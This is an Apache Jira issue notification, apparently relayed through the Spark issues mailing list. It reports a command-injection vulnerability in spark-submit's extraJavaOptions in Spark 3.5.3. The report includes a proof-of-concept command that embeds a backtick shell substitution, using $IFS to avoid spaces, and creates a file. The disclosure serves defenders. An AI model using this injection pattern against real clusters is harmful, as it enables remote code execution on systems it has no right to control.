You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@spark.apache.org by "Lu jiadong (Jira)" <ji...@apache.org> on 2024/11/12 02:00:00 UTC
[jira] [Updated] (SPARK-50242) (RCE) Command Execution Vulnerability in Spark
[ https://issues.apache.org/jira/browse/SPARK-50242?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Lu jiadong updated SPARK-50242:
-------------------------------
Description:
Spark allow user to deploy jar packet with`extraJavaOptions` ,
but spark has incomplete check of it, leading to command execution.
using below command can see the /abc file was created:
spark-submit --class JavaWordCount --master yarn --deploy-mode client --conf spark.executor.extraJavaOptions="\`touch\$IFS/abc\`" test.jar
was:
Spark allow user to deploy jar packet iwith`extraJavaOptions` ,
but spark has incomplete check of it, leading to command execution.
using below command can see the /abc file was created:
spark-submit --class JavaWordCount --master yarn --deploy-mode client --conf spark.executor.extraJavaOptions="\`touch\$IFS/abc\`" test.jar
> (RCE) Command Execution Vulnerability in Spark
> ----------------------------------------------
>
> Key: SPARK-50242
> URL: https://issues.apache.org/jira/browse/SPARK-50242
> Project: Spark
> Issue Type: Bug
> Components: Spark Submit
> Affects Versions: 3.5.3
> Reporter: Lu jiadong
> Priority: Critical
>
> Spark allow user to deploy jar packet with`extraJavaOptions` ,
> but spark has incomplete check of it, leading to command execution.
>
> using below command can see the /abc file was created:
> spark-submit --class JavaWordCount --master yarn --deploy-mode client --conf spark.executor.extraJavaOptions="\`touch\$IFS/abc\`" test.jar
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: issues-unsubscribe@spark.apache.org
For additional commands, e-mail: issues-help@spark.apache.org